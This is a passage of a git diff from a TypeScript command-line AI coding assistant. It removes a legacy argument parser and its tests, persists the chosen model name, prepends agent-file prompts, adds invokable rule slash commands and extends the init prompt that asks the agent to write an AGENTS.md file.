diff --git a/extensions/cli/src/args-mcp.test.ts b/extensions/cli/src/args-mcp.test.ts
deleted file mode 100644
index 95f77cc7d..000000000
--- a/extensions/cli/src/args-mcp.test.ts
+++ /dev/null
@@ -1,75 +0,0 @@
-import { beforeEach, describe, expect, it } from "vitest";
-
-import { parseArgs } from "./args.js";
-
-describe("parseArgs --mcp flag", () => {
- beforeEach(() => {
- // Clear process.argv before each test
- process.argv = ["node", "test"];
- });
-
- it("should parse single MCP from --mcp flag", () => {
- process.argv = ["node", "test", "--mcp", "my-org/my-mcp"];
- const result = parseArgs();
- expect(result.mcps).toEqual(["my-org/my-mcp"]);
- });
-
- it("should parse multiple MCPs from multiple --mcp flags", () => {
- process.argv = ["node", "test", "--mcp", "org1/mcp1", "--mcp", "org2/mcp2"];
- const result = parseArgs();
- expect(result.mcps).toEqual(["org1/mcp1", "org2/mcp2"]);
- });
-
- it("should handle MCP flag with other flags", () => {
- process.argv = [
- "node",
- "test",
- "--config",
- "my-config.yaml",
- "--mcp",
- "my-org/my-mcp",
- "--org",
- "test-org",
- ];
- const result = parseArgs();
- expect(result.configPath).toBe("my-config.yaml");
- expect(result.mcps).toEqual(["my-org/my-mcp"]);
- expect(result.organizationSlug).toBe("test-org");
- });
-
- it("should handle MCP flag with prompt", () => {
- process.argv = ["node", "test", "--mcp", "my-org/my-mcp", "hello world"];
- const result = parseArgs();
- expect(result.mcps).toEqual(["my-org/my-mcp"]);
- expect(result.prompt).toBe("hello world");
- });
-
- it("should ignore MCP and rule flag values when extracting prompt", () => {
- process.argv = [
- "node",
- "test",
- "actual prompt",
- "--rule",
- "my-rule",
- "--mcp",
- "my-org/my-mcp",
- ];
- const result = parseArgs();
- expect(result.prompt).toBe("actual prompt");
- expect(result.rules).toEqual(["my-rule"]);
- expect(result.mcps).toEqual(["my-org/my-mcp"]);
- });
-
- it("should handle MCP flag without value", () => {
- process.argv = ["node", "test", "--mcp"];
- const result = parseArgs();
- expect(result.mcps).toEqual([]);
- });
-
- it("should handle MCP flag at the end without value", () => {
- process.argv = ["node", "test", "my prompt", "--mcp"];
- const result = parseArgs();
- expect(result.prompt).toBe("my prompt");
- expect(result.mcps).toEqual([]);
- });
-});
diff --git a/extensions/cli/src/args.prompt.test.ts b/extensions/cli/src/args.prompt.test.ts
deleted file mode 100644
index 46b70b4db..000000000
--- a/extensions/cli/src/args.prompt.test.ts
+++ /dev/null
@@ -1,84 +0,0 @@
-import { describe, it, expect, beforeEach, afterAll } from "vitest";
-
-import { parseArgs, processPromptOrRule } from "./args.js";
-
-describe("args --prompt flag", () => {
- const originalArgv = process.argv;
-
- beforeEach(() => {
- // Reset process.argv for each test
- process.argv = ["node", "script.js"];
- });
-
- afterAll(() => {
- // Restore original process.argv after all tests
- process.argv = originalArgv;
- });
-
- it("should parse single prompt from --prompt flag", () => {
- process.argv = ["node", "script.js", "--prompt", "my-prompt"];
- const result = parseArgs();
- expect(result.prompts).toEqual(["my-prompt"]);
- });
-
- it("should parse multiple prompts from multiple --prompt flags", () => {
- process.argv = [
- "node",
- "script.js",
- "--prompt",
- "prompt1",
- "--prompt",
- "prompt2",
- ];
- const result = parseArgs();
- expect(result.prompts).toEqual(["prompt1", "prompt2"]);
- });
-
- it("should handle mixed flags including --prompt", () => {
- process.argv = [
- "node",
- "script.js",
- "--config",
- "myconfig",
- "--prompt",
- "myprompt",
- "--resume",
- ];
- const result = parseArgs();
- expect(result.configPath).toBe("myconfig");
- expect(result.prompts).toEqual(["myprompt"]);
- expect(result.resume).toBe(true);
- });
-
- it("should not include --prompt value in non-flag arguments", () => {
- process.argv = [
- "node",
- "script.js",
- "--prompt",
- "prompt-value",
- "actual-prompt",
- ];
- const result = parseArgs();
- expect(result.prompts).toEqual(["prompt-value"]);
- expect(result.prompt).toBe("actual-prompt");
- });
-
- it("should handle both --rule and --prompt flags", () => {
- process.argv = [
- "node",
- "script.js",
- "--rule",
- "my-rule",
- "--prompt",
- "my-prompt",
- ];
- const result = parseArgs();
- expect(result.rules).toEqual(["my-rule"]);
- expect(result.prompts).toEqual(["my-prompt"]);
- });
-
- it("should process direct string content", async () => {
- const result = await processPromptOrRule("This is a direct prompt");
- expect(result).toBe("This is a direct prompt");
- });
-});
diff --git a/extensions/cli/src/args.test.ts b/extensions/cli/src/args.test.ts
index d22333c05..a30b6f2c5 100644
--- a/extensions/cli/src/args.test.ts
+++ b/extensions/cli/src/args.test.ts
@@ -1,222 +1,13 @@
import { vi } from "vitest";
-import { parseArgs, processPromptOrRule } from "./args.js";
-
-describe("parseArgs", () => {
- const originalArgv = process.argv;
-
- beforeEach(() => {
- // Reset process.argv before each test
- process.argv = ["node", "script.js"];
- });
-
- afterAll(() => {
- // Restore original argv
- process.argv = originalArgv;
- });
-
- it("should return default values when no arguments provided", () => {
- const result = parseArgs();
- expect(result).toEqual({});
- });
-
- it("should set resume to true when --resume flag is present", () => {
- process.argv = ["node", "script.js", "--resume"];
- const result = parseArgs();
- expect(result.resume).toBe(true);
- });
-
- it("should set readonly to true when --readonly flag is present", () => {
- process.argv = ["node", "script.js", "--readonly"];
- const result = parseArgs();
- expect(result.readonly).toBe(true);
- });
-
- it("should parse config path from --config flag", () => {
- process.argv = ["node", "script.js", "--config", "/path/to/config.yaml"];
- const result = parseArgs();
- expect(result.configPath).toBe("/path/to/config.yaml");
- });
-
- it("should parse single rule from --rule flag", () => {
- process.argv = ["node", "script.js", "--rule", "my-rule"];
- const result = parseArgs();
- expect(result.rules).toEqual(["my-rule"]);
- });
-
- it("should parse multiple rules from multiple --rule flags", () => {
- process.argv = ["node", "script.js", "--rule", "rule1", "--rule", "rule2"];
- const result = parseArgs();
- expect(result.rules).toEqual(["rule1", "rule2"]);
- });
-
- it("should parse prompt from last non-flag argument", () => {
- process.argv = ["node", "script.js", "Hello world"];
- const result = parseArgs();
- expect(result.prompt).toBe("Hello world");
- });
-
- it("should handle multiple flags together", () => {
- process.argv = ["node", "script.js", "--print", "--readonly", "--resume"];
- const result = parseArgs();
- expect(result).toEqual({
- readonly: true,
- resume: true,
- });
- });
-
- it("should handle config flag with other flags", () => {
- process.argv = ["node", "script.js", "--config", "config.yaml", "--print"];
- const result = parseArgs();
- expect(result).toEqual({
- configPath: "config.yaml",
- });
- });
-
- it("should handle rule flag with other flags", () => {
- process.argv = ["node", "script.js", "--rule", "my-rule", "--print"];
- const result = parseArgs();
- expect(result).toEqual({
- rules: ["my-rule"],
- });
- });
-
- it("should handle prompt with flags", () => {
- process.argv = ["node", "script.js", "--print", "What is the weather?"];
- const result = parseArgs();
- expect(result).toEqual({
- prompt: "What is the weather?",
- });
- });
-
- it("should handle config flag with prompt", () => {
- process.argv = [
- "node",
- "script.js",
- "--config",
- "config.yaml",
- "Test prompt",
- ];
- const result = parseArgs();
- expect(result).toEqual({
- configPath: "config.yaml",
- prompt: "Test prompt",
- });
- });
-
- it("should handle rule flag with prompt", () => {
- process.argv = ["node", "script.js", "--rule", "my-rule", "Test prompt"];
- const result = parseArgs();
- expect(result).toEqual({
- rules: ["my-rule"],
- prompt: "Test prompt",
- });
- });
-
- it("should ignore config and rule flag values when extracting prompt", () => {
- process.argv = [
- "node",
- "script.js",
- "--config",
- "config.yaml",
- "--rule",
- "my-rule",
- "actual-prompt",
- ];
- const result = parseArgs();
- expect(result.prompt).toBe("actual-prompt");
- expect(result.configPath).toBe("config.yaml");
- expect(result.rules).toEqual(["my-rule"]);
- });
-
- it("should handle multiple non-flag arguments and use the last one as prompt", () => {
- process.argv = ["node", "script.js", "first", "second", "third"];
- const result = parseArgs();
- expect(result.prompt).toBe("third");
- });
-
- it("should handle complex argument combinations", () => {
- process.argv = [
- "node",
- "script.js",
- "--print",
- "--config",
- "my-config.yaml",
- "--rule",
- "rule1",
- "--rule",
- "rule2",
- "--readonly",
- "--resume",
- "Complex prompt with spaces",
- ];
- const result = parseArgs();
- expect(result).toEqual({
- configPath: "my-config.yaml",
- rules: ["rule1", "rule2"],
- readonly: true,
- resume: true,
- prompt: "Complex prompt with spaces",
- });
- });
-
- it("should handle config flag without value", () => {
- process.argv = ["node", "script.js", "--config"];
- const result = parseArgs();
- expect(result.configPath).toBeUndefined();
- });
-
- it("should handle rule flag without value", () => {
- process.argv = ["node", "script.js", "--rule"];
- const result = parseArgs();
- expect(result.rules).toEqual([]);
- });
-
- it("should handle config flag at the end without value", () => {
- process.argv = ["node", "script.js", "--print", "--config"];
- const result = parseArgs();
- expect(result.configPath).toBeUndefined();
- });
-
- it("should handle rule flag at the end without value", () => {
- process.argv = ["node", "script.js", "--print", "--rule"];
- const result = parseArgs();
- expect(result.rules).toEqual([]);
- });
-
- it("should handle empty arguments array", () => {
- process.argv = ["node", "script.js"];
- const result = parseArgs();
- expect(result).toEqual({});
- });
-
- it("should handle multiple boolean flags", () => {
- process.argv = ["node", "script.js", "--readonly", "--resume"];
- const result = parseArgs();
- expect(result.readonly).toBe(true);
- expect(result.resume).toBe(true);
- });
-
- it("should handle multiple rules with complex combinations", () => {
- process.argv = [
- "node",
- "script.js",
- "--rule",
- "file.txt",
- "--rule",
- "owner/package",
- "--rule",
- "direct string rule",
- ];
- const result = parseArgs();
- expect(result.rules).toEqual([
- "file.txt",
- "owner/package",
- "direct string rule",
- ]);
- });
-});
+// Mock auth functions
+vi.mock("./auth/workos.js", () => ({
+ loadAuthConfig: vi.fn(),
+ getAccessToken: vi.fn(),
+}));
+import { getAccessToken, loadAuthConfig } from "./auth/workos.js";
+import { processRule as processPromptOrRule } from "./hubLoader.js";
describe("processPromptOrRule (loadRuleFromHub integration)", () => {
// Mock fetch for hub tests
const originalFetch = global.fetch;
@@ -232,6 +23,9 @@ describe("processPromptOrRule (loadRuleFromHub integration)", () => {
beforeEach(() => {
mockFetch.mockClear();
+ // Reset auth mocks to not authenticated state
+ (loadAuthConfig as any).mockReturnValue(null);
+ (getAccessToken as any).mockReturnValue(null);
});
describe("loadRuleFromHub", () => {
@@ -259,6 +53,7 @@ describe("processPromptOrRule (loadRuleFromHub integration)", () => {
"v0/continuedev/sentry-nextjs/latest/download",
"https://api.continue.dev/",
),
+ { headers: {} },
);
});
diff --git a/extensions/cli/src/args.ts b/extensions/cli/src/args.ts
deleted file mode 100644
index b8a452213..000000000
--- a/extensions/cli/src/args.ts
+++ /dev/null
@@ -1,147 +0,0 @@
-export interface CommandLineArgs {
- configPath?: string;
- organizationSlug?: string; // Organization slug to use for this session
- prompt?: string; // Optional prompt argument
- resume?: boolean; // Resume from last session
- fork?: string; // Fork from an existing session ID
- readonly?: boolean; // Start in plan mode (backward compatibility)
- rules?: string[]; // Array of rule specifications
- mcps?: string[]; // Array of MCP server slugs from the hub
- models?: string[]; // Array of model slugs from the hub
- prompts?: string[]; // Array of prompt slugs from the hub
- format?: "json"; // Output format for headless mode
-}
-
-// Re-export hub loader functions for backward compatibility
-export { loadMcpFromHub, processRule } from "./hubLoader.js";
-// Alias processRule as processPromptOrRule for backward compatibility
-export { processRule as processPromptOrRule } from "./hubLoader.js";
-
-/**
- * Extract values for a specific flag that can appear multiple times
- */
-function extractMultipleFlags(args: string[], flagName: string): string[] {
- const indices: number[] = [];
- for (let i = 0; i < args.length; i++) {
- if (args[i] === flagName) {
- indices.push(i);
- }
- }
-
- const values: string[] = [];
- for (const index of indices) {
- if (index + 1 < args.length && !args[index + 1].startsWith("--")) {
- values.push(args[index + 1]);
- }
- }
- return values;
-}
-
-/**
- * Extract value for a single-value flag
- */
-function extractSingleFlag(
- args: string[],
- flagName: string,
-): string | undefined {
- const index = args.indexOf(flagName);
- if (
- index !== -1 &&
- index + 1 < args.length &&
- !args[index + 1].startsWith("--")
- ) {
- return args[index + 1];
- }
- return undefined;
-}
-
-/**
- * Parse command line arguments for non-permission related flags
- * @deprecated Most functionality has been moved to services. This is only kept for backward compatibility.
- * @returns Parsed command line arguments
- */
-export function parseArgs(): CommandLineArgs {
- const args = process.argv.slice(2);
- const result: CommandLineArgs = {};
-
- // Parse boolean flags
- if (args.includes("--resume")) {
- result.resume = true;
- }
- if (args.includes("--readonly")) {
- result.readonly = true;
- }
-
- // Parse fork flag
- const forkValue = extractSingleFlag(args, "--fork");
- if (forkValue) {
- result.fork = forkValue;
- }
-
- // Parse single-value flags
- const formatValue = extractSingleFlag(args, "--format");
- if (formatValue === "json") {
- result.format = "json";
- }
-
- result.configPath = extractSingleFlag(args, "--config");
-
- const orgValue = extractSingleFlag(args, "--org");
- if (orgValue) {
- result.organizationSlug =
- orgValue.toLowerCase() === "personal" ? undefined : orgValue;
- }
-
- // Parse multi-value flags
- const rules = extractMultipleFlags(args, "--rule");
- if (rules.length > 0) {
- result.rules = rules;
- } else if (args.includes("--rule")) {
- result.rules = [];
- }
-
- const mcps = extractMultipleFlags(args, "--mcp");
- if (mcps.length > 0) {
- result.mcps = mcps;
- } else if (args.includes("--mcp")) {
- // Ensure we have an empty array if --mcp flag is present but has no values
- result.mcps = [];
- }
-
- const models = extractMultipleFlags(args, "--model");
- if (models.length > 0) {
- result.models = models;
- } else if (args.includes("--model")) {
- result.models = [];
- }
-
- const prompts = extractMultipleFlags(args, "--prompt");
- if (prompts.length > 0) {
- result.prompts = prompts;
- } else if (args.includes("--prompt")) {
- result.prompts = [];
- }
-
- // Extract prompt from non-flag arguments
- const flagsWithValues = [
- "--config",
- "--org",
- "--rule",
- "--mcp",
- "--model",
- "--prompt",
- "--format",
- "--fork",
- ];
- const nonFlagArgs = args.filter((arg, index) => {
- if (arg.startsWith("--") || arg === "-p") return false;
- const prevArg = index > 0 ? args[index - 1] : "";
- return !flagsWithValues.includes(prevArg);
- });
-
- if (nonFlagArgs.length > 0) {
- result.prompt = nonFlagArgs[nonFlagArgs.length - 1];
- }
-
- return result;
-}
diff --git a/extensions/cli/src/asciiArt.test.ts b/extensions/cli/src/asciiArt.test.ts
index beac2778a..28dfa1510 100644
--- a/extensions/cli/src/asciiArt.test.ts
+++ b/extensions/cli/src/asciiArt.test.ts
@@ -34,7 +34,7 @@ describe("asciiArt", () => {
const result = getDisplayableAsciiArt();
expect(result).toContain("██████╗");
- expect(result).toContain("(beta)");
+
expect(result).not.toBe(CONTINUE_ASCII_ART);
// Should be much shorter than the full ASCII art
expect(result.length).toBeLessThan(CONTINUE_ASCII_ART.length / 2);
@@ -47,7 +47,7 @@ describe("asciiArt", () => {
const result = getDisplayableAsciiArt();
expect(result).toContain("██████╗");
- expect(result).toContain("(beta)");
+
expect(result).not.toBe(CONTINUE_ASCII_ART);
});
diff --git a/extensions/cli/src/asciiArt.ts b/extensions/cli/src/asciiArt.ts
index b7d08252e..6a8438bef 100644
--- a/extensions/cli/src/asciiArt.ts
+++ b/extensions/cli/src/asciiArt.ts
@@ -12,7 +12,7 @@ ${mind.multiline(` ██████╗ ██████╗ ███╗
██║ ██║ ██║██║╚██╗██║ ██║ ██║██║╚██╗██║██║ ██║██╔══╝
╚██████╗╚██████╔╝██║ ╚████║ ██║ ██║██║ ╚████║╚██████╔╝███████╗
╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝`)}
- ${d("v" + getVersion() + " (beta)")}`;
+ ${d("v" + getVersion())}`;
// ASCII art for just "CN" (first two letters)
const CN_ASCII_ART = `
@@ -22,7 +22,7 @@ ${mind.multiline(` ██████╗███╗ ██╗
██║ ██║╚██╗██║
╚██████╗██║ ╚████║
╚═════╝╚═╝ ╚═══╝`)}
- ${d("v" + getVersion() + " (beta)")}`;
+ ${d("v" + getVersion())}`;
// Minimum terminal width required to display ASCII art properly
const MIN_WIDTH_FOR_ASCII_ART = 75;
diff --git a/extensions/cli/src/auth/workos.ts b/extensions/cli/src/auth/workos.ts
index d110ea161..a005eb56a 100644
--- a/extensions/cli/src/auth/workos.ts
+++ b/extensions/cli/src/auth/workos.ts
@@ -8,6 +8,7 @@ import nodeFetch from "node-fetch";
import open from "open";
import { getApiClient } from "../config.js";
+// eslint-disable-next-line import/order
import { env } from "../env.js";
if (!globalThis.fetch) {
globalThis.fetch = nodeFetch as unknown as typeof globalThis.fetch;
@@ -96,13 +97,24 @@ export function getConfigUri(config: AuthConfig): string | null {
/**
* Gets the model name from any auth config type
+ * For unauthenticated users or when auth config has no modelName, checks GlobalContext
*/
export function getModelName(config: AuthConfig): string | null {
- if (config === null) return null;
- return config.modelName || null;
+ // Priority 1: Logged-in users with modelName in auth config
+ if (config !== null && config.modelName) {
+ return config.modelName;
+ }
+
+ // Priority 2: Fall back to GlobalContext (for logged-out users or logged-in without modelName)
+ return getPersistedModelName();
}
// URI utility functions have been moved to ./uriUtils.ts
+import {
+ getPersistedModelName,
+ persistModelName,
+} from "../util/modelPersistence.js";
+
import { autoSelectOrganizationAndConfig } from "./orgSelection.js";
import { pathToUri, slugToUri, uriToPath, uriToSlug } from "./uriUtils.js";
import {
@@ -214,21 +226,30 @@ export function updateConfigUri(configUri: string | null): void {
/**
* Updates the model name in the authentication configuration
+ * Returns the updated config so the caller can update in-memory state
+ * For unauthenticated users, saves to GlobalContext
*/
-export function updateModelName(modelName: string | null): void {
+export function updateModelName(modelName: string | null): AuthConfig {
// If using CONTINUE_API_KEY environment variable, don't save anything
if (process.env.CONTINUE_API_KEY) {
- return;
+ return loadAuthConfig();
}
const config = loadAuthConfig();
+
+ // If logged in, save to auth.json
if (config && isAuthenticatedConfig(config)) {
const updatedConfig: AuthenticatedConfig = {
...config,
modelName: modelName || undefined,
};
saveAuthConfig(updatedConfig);
+ return updatedConfig;
}
+
+ // If logged out, save to GlobalContext
+ persistModelName(modelName);
+ return config;
}
/**
diff --git a/extensions/cli/src/commands/BaseCommandOptions.ts b/extensions/cli/src/commands/BaseCommandOptions.ts
index 0d0808ea3..9c457d066 100644
--- a/extensions/cli/src/commands/BaseCommandOptions.ts
+++ b/extensions/cli/src/commands/BaseCommandOptions.ts
@@ -21,6 +21,8 @@ export interface BaseCommandOptions {
ask?: string[];
/** Array of tools to exclude from use (--exclude) */
exclude?: string[];
+ /** Agent file slug from the hub (--agent) */
+ agent?: string;
}
/**
diff --git a/extensions/cli/src/commands/chat.ts b/extensions/cli/src/commands/chat.ts
index 4436d18b7..4b7a998a9 100644
--- a/extensions/cli/src/commands/chat.ts
+++ b/extensions/cli/src/commands/chat.ts
@@ -1,18 +1,22 @@
import { ModelConfig } from "@continuedev/config-yaml";
+import { BaseLlmApi } from "@continuedev/openai-adapters";
import chalk from "chalk";
-import type { ChatHistoryItem, Session } from "core/index.js";
+import { ChatHistoryItem, Session } from "core";
import { ChatDescriber } from "core/util/chatDescriber.js";
-import * as readlineSync from "readline-sync";
import { compactChatHistory, findCompactionIndex } from "../compaction.js";
import { processCommandFlags } from "../flags/flagProcessor.js";
-import { safeStdout } from "../init.js";
+import { safeStderr, safeStdout } from "../init.js";
import { configureLogger } from "../logger.js";
import * as logging from "../logging.js";
import { sentryService } from "../sentry.js";
import { initializeServices, services } from "../services/index.js";
import { serviceContainer } from "../services/ServiceContainer.js";
-import { ModelServiceState, SERVICE_NAMES } from "../services/types.js";
+import {
+ AgentFileServiceState,
+ ModelServiceState,
+ SERVICE_NAMES,
+} from "../services/types.js";
import {
loadSession,
updateSessionHistory,
@@ -25,6 +29,8 @@ import { startTUIChat } from "../ui/index.js";
import { gracefulExit } from "../util/exit.js";
import { formatAnthropicError, formatError } from "../util/formatError.js";
import { logger } from "../util/logger.js";
+import { question } from "../util/prompt.js";
+import { prependPrompt } from "../util/promptProcessor.js";
import {
calculateContextUsagePercentage,
countChatHistoryTokens,
@@ -119,7 +125,7 @@ export async function initializeChatHistory(
async function handleManualCompaction(
chatHistory: ChatHistoryItem[],
model: ModelConfig,
- llmApi: any,
+ llmApi: BaseLlmApi,
isHeadless: boolean,
): Promise<{ compactionIndex?: number | null } | void> {
if (!isHeadless) {
@@ -160,11 +166,66 @@ async function handleManualCompaction(
}
}
+// Helper function to get streaming response based on compaction state
+async function getStreamingResponse(
+ compactionIndex: number | null | undefined,
+ model: ModelConfig,
+ llmApi: BaseLlmApi,
+): Promise {
+ const abortController = new AbortController();
+
+ if (compactionIndex !== null && compactionIndex !== undefined) {
+ // Use service to compute history for LLM
+ const historyForLLM =
+ services.chatHistory.getHistoryForLLM(compactionIndex);
+
+ return await streamChatResponse(
+ historyForLLM,
+ model,
+ llmApi,
+ abortController,
+ );
+ } else {
+ // No compaction - get full history from service
+ return await streamChatResponse(
+ services.chatHistory.getHistory(),
+ model,
+ llmApi,
+ abortController,
+ );
+ }
+}
+
+// Helper function to process and output response in headless mode
+function processAndOutputResponse(
+ finalResponse: string,
+ isHeadless: boolean,
+ silent?: boolean,
+ format?: "json",
+): void {
+ if (isHeadless && finalResponse && finalResponse.trim()) {
+ let processedResponse = finalResponse;
+
+ // Strip think tags if --silent flag is enabled
+ if (silent) {
+ processedResponse = stripThinkTags(processedResponse);
+ }
+
+ // Process output based on format
+ const outputResponse =
+ format === "json"
+ ? processJsonOutput(processedResponse)
+ : processedResponse;
+
+ safeStdout(outputResponse + "\n");
+ }
+}
+
// Helper function to handle auto-compaction for headless mode
async function handleAutoCompaction(
chatHistory: ChatHistoryItem[],
model: ModelConfig,
- llmApi: any,
+ llmApi: BaseLlmApi,
isHeadless: boolean,
format?: "json",
): Promise {
@@ -244,7 +305,7 @@ async function handleAutoCompaction(
*/
async function handleTitleGeneration(
assistantResponse: string,
- llmApi: any,
+ llmApi: BaseLlmApi,
model: ModelConfig,
): Promise {
try {
@@ -270,7 +331,7 @@ interface ProcessMessageOptions {
userInput: string;
chatHistory: ChatHistoryItem[];
model: ModelConfig;
- llmApi: any;
+ llmApi: BaseLlmApi;
isHeadless: boolean;
format?: "json";
silent?: boolean;
@@ -325,71 +386,35 @@ async function processMessage(
}
try {
- const abortController = new AbortController();
-
- // Service-driven streaming; history updates occur via ChatHistoryService
- let finalResponse;
- if (compactionIndex !== null && compactionIndex !== undefined) {
- // Use service to compute history for LLM
- const historyForLLM =
- services.chatHistory.getHistoryForLLM(compactionIndex);
-
- finalResponse = await streamChatResponse(
- historyForLLM,
- model,
- llmApi,
- abortController,
- );
- } else {
- // No compaction - get full history from service
- finalResponse = await streamChatResponse(
- services.chatHistory.getHistory(),
- model,
- llmApi,
- abortController,
- );
- }
+ // Get AI response with potential tool usage
+ const finalResponse = await getStreamingResponse(
+ compactionIndex,
+ model,
+ llmApi,
+ );
// Generate session title after first assistant response
if (firstAssistantResponse && finalResponse && finalResponse.trim()) {
await handleTitleGeneration(finalResponse, llmApi, model);
}
- // In headless mode, only print the final response using safe stdout
- if (isHeadless && finalResponse && finalResponse.trim()) {
- let processedResponse = finalResponse;
-
- // Strip think tags if --silent flag is enabled
- if (silent) {
- processedResponse = stripThinkTags(processedResponse);
- }
-
- // Process output based on format
- const outputResponse =
- format === "json"
- ? processJsonOutput(processedResponse)
- : processedResponse;
-
- safeStdout(outputResponse + "\n");
- }
+ // Process and output response in headless mode
+ processAndOutputResponse(finalResponse, isHeadless, silent, format);
// Save session after each successful response
updateSessionHistory(services.chatHistory.getHistory());
} catch (e: any) {
const error = e instanceof Error ? e : new Error(String(e));
- if (model.provider === "anthropic") {
- logger.error(`\n${chalk.red(`Error: ${formatAnthropicError(error)}`)}`);
- } else {
- logger.error(`\n${chalk.red(`Error: ${formatError(error)}`)}`);
- }
-
- sentryService.captureException(error, {
- context: "chat_response",
- isHeadless,
- chatHistoryLength: services.chatHistory.getHistory().length,
- });
+ // In headless mode, don't output JSON here - let error bubble up to main handler
if (!isHeadless) {
+ // Non-headless mode: use colored console output
+ if (model.provider === "anthropic") {
+ logger.error(`\n${chalk.red(`Error: ${formatAnthropicError(error)}`)}`);
+ } else {
+ logger.error(`\n${chalk.red(`Error: ${formatError(error)}`)}`);
+ }
+
logger.info(
chalk.dim(
`Chat history:\n${JSON.stringify(
@@ -400,6 +425,18 @@ async function processMessage(
),
);
}
+
+ sentryService.captureException(error, {
+ context: "chat_response",
+ isHeadless,
+ chatHistoryLength: services.chatHistory.getHistory().length,
+ });
+
+ // In headless mode, re-throw the error to bubble up to main error handler
+ // This preserves downstream logic like telemetry cleanup
+ if (isHeadless) {
+ throw error;
+ }
}
}
@@ -426,6 +463,10 @@ async function runHeadlessMode(
throw new Error("No models were found.");
}
+ if (!llmApi) {
+ throw new Error("No LLM API instance found.");
+ }
+
// Initialize service-driven history (resume if requested)
const chatHistory = await initializeChatHistory(options);
let compactionIndex: number | null = null;
@@ -438,9 +479,17 @@ async function runHeadlessMode(
const { processAndCombinePrompts } = await import(
"../util/promptProcessor.js"
);
+ const agentFileState = await serviceContainer.get(
+ SERVICE_NAMES.AGENT_FILE,
+ );
+
+ const initialPrompt = prependPrompt(
+ agentFileState?.agentFile?.prompt,
+ prompt,
+ );
const initialUserInput = await processAndCombinePrompts(
options.prompt,
- prompt,
+ initialPrompt,
);
let isFirstMessage = true;
@@ -454,7 +503,7 @@ async function runHeadlessMode(
const userInput =
isFirstMessage && initialUserInput
? initialUserInput
- : readlineSync.question(`\n${chalk.bold.green("You:")} `);
+ : await question(`\n${chalk.bold.green("You:")} `);
isFirstMessage = false;
@@ -475,6 +524,9 @@ async function runHeadlessMode(
compactionIndex = result.compactionIndex;
}
}
+
+ // exit after headless mode completes
+ await gracefulExit(0);
}
export async function chat(prompt?: string, options: ChatOptions = {}) {
@@ -496,7 +548,6 @@ export async function chat(prompt?: string, options: ChatOptions = {}) {
if (!options.headless) {
// Process flags for TUI mode
const { permissionOverrides } = processCommandFlags(options);
-
// Initialize services with onboarding handled internally
await initializeServices({
options,
@@ -504,9 +555,18 @@ export async function chat(prompt?: string, options: ChatOptions = {}) {
toolPermissionOverrides: permissionOverrides,
});
+ const agentFileState = await serviceContainer.get(
+ SERVICE_NAMES.AGENT_FILE,
+ );
+
+ const initialPrompt = prependPrompt(
+ agentFileState?.agentFile?.prompt,
+ prompt,
+ );
+
// Start TUI with skipOnboarding since we already handled it
const tuiOptions: any = {
- initialPrompt: prompt,
+ initialPrompt,
resume: options.resume,
fork: options.fork,
config: options.config,
@@ -535,15 +595,30 @@ export async function chat(prompt?: string, options: ChatOptions = {}) {
await runHeadlessMode(prompt, options);
} catch (error: any) {
const err = error instanceof Error ? error : new Error(String(error));
- // Use headless-aware error logging to ensure fatal errors are shown in headless mode
- logging.error(chalk.red(`Fatal error: ${formatError(err)}`));
+
+ // In headless mode, output error as JSON to stdout
+ if (options.headless) {
+ const errorOutput = {
+ status: "error",
+ message: err.message || String(err),
+ };
+ safeStderr(JSON.stringify(errorOutput) + "\n");
+ } else {
+ // Use headless-aware error logging for non-headless mode
+ logging.error(chalk.red(`Fatal error: ${formatError(err)}`));
+ }
+
sentryService.captureException(err, {
context: "chat_command_fatal",
headless: options.headless,
});
+
+ // Stop active time tracking BEFORE graceful exit
+ telemetryService.stopActiveTime();
+
await gracefulExit(1);
} finally {
- // Stop active time tracking
+ // Stop active time tracking for normal completion
telemetryService.stopActiveTime();
}
}
diff --git a/extensions/cli/src/commands/commands.ts b/extensions/cli/src/commands/commands.ts
index bf19c099f..d9886273e 100644
--- a/extensions/cli/src/commands/commands.ts
+++ b/extensions/cli/src/commands/commands.ts
@@ -146,7 +146,10 @@ export function getAllSlashCommands(
category: "assistant" as const,
})) || [];
- return [...systemCommands, ...assistantCommands];
+ // Get invokable rule commands
+ const invokableRuleCommands = getInvokableRuleSlashCommands(assistant);
+
+ return [...systemCommands, ...assistantCommands, ...invokableRuleCommands];
}
/**
@@ -163,3 +166,33 @@ export function getAssistantSlashCommands(
})) || []
);
}
+
+/**
+ * Get invokable rule commands from assistant config
+ */
+export function getInvokableRuleSlashCommands(
+ assistant: AssistantConfig,
+): SlashCommand[] {
+ if (!assistant?.rules) {
+ return [];
+ }
+
+ return assistant.rules
+ .filter((rule) => {
+ // Handle both string rules and rule objects
+ if (!rule || typeof rule === "string") {
+ return false;
+ }
+ // Only include rules with invokable: true
+ return rule.invokable === true;
+ })
+ .map((rule) => {
+ // TypeScript now knows rule is an object with invokable: true
+ const ruleObj = rule as any;
+ return {
+ name: ruleObj.name || "",
+ description: ruleObj.description || "",
+ category: "assistant" as const,
+ };
+ });
+}
diff --git a/extensions/cli/src/commands/init.ts b/extensions/cli/src/commands/init.ts
index f4c31e614..ad50333ef 100644
--- a/extensions/cli/src/commands/init.ts
+++ b/extensions/cli/src/commands/init.ts
@@ -1,9 +1,11 @@
import { type AssistantConfig } from "@continuedev/sdk";
+import { createRelativeRuleFilePath } from "core/config/markdown/utils.js";
import { SlashCommandResult } from "../ui/hooks/useChat.types.js";
function createInitPrompt(): string {
- return `Please analyze this repository and create a comprehensive AGENTS.md file. Use your available tools to understand the project structure, read important files like README.md, package.json, requirements.txt, and other configuration files to understand the technology stack and setup.
+ const relativeRuleFilepath = createRelativeRuleFilePath("review");
+ return `Please analyze this repository and create a comprehensive AGENTS.md file, along with a custom slash command. Use your available tools to understand the project structure, read important files like README.md, package.json, requirements.txt, and other configuration files to understand the technology stack and setup.
Create an AGENTS.md file with the following structure:
@@ -30,7 +32,23 @@ Create an AGENTS.md file with the following structure:
- Development environment setup
- Lint and format commands
-Please create the AGENTS.md file using the Write tool after analyzing the repository. Focus on providing actionable information that would help both AI agents and human developers understand and work effectively with this codebase. Keep the file concise but informational.`;
+Additionally, create a slash command file at ${relativeRuleFilepath} with the following structure:
+
+\`\`\`md
+---
+invokable: true
+---
+
+Review this code for potential issues, including:
+
+
+
+Provide specific, actionable feedback for improvements.
+\`\`\`
+
+This slash command will be invokable using /review and will provide instructions for code review tasks common to this repository.
+
